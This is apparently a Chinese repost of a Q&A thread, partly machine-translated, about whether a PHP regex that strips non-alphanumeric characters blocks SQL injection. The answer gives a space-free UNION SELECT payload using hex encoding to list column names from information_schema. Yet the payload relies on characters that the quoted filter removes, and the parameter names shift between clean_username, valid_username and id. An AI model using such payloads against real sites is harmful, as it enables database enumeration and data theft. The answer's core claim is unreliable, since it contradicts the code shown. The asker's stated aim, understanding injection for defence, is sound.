SELECT * FROM messages WHERE sender='clean_username'
在get / post上收到clean_username并清理的地方如下:
$clean_username = preg_replace( '/[^A-Za-z0-9_]+/m' , '', $dirty_username );
上面的代码删除了任何空格(以及其他内容),这意味着valid_username参数将始终只是一个单词.
我问这个问题是为了更好地理解sql注入的工作原理.在我的工作中,我坚持使用预先准备好的语句和参数化查询以防止注入的既定良好实践,但我认为人们也应该了解如何在这样的简单场景中注入恶意代码.
解决方法:
您仍然可以使用十六进制编码来利用它:剥离空间是不够的.
I guess this is a somewhat interesting place to start.但是考虑到preg_match()es在高流量站点上的性能非常糟糕.
使用十六进制编码并且没有空格的GET注入示例
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
我想你可以看到上面的问题.
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。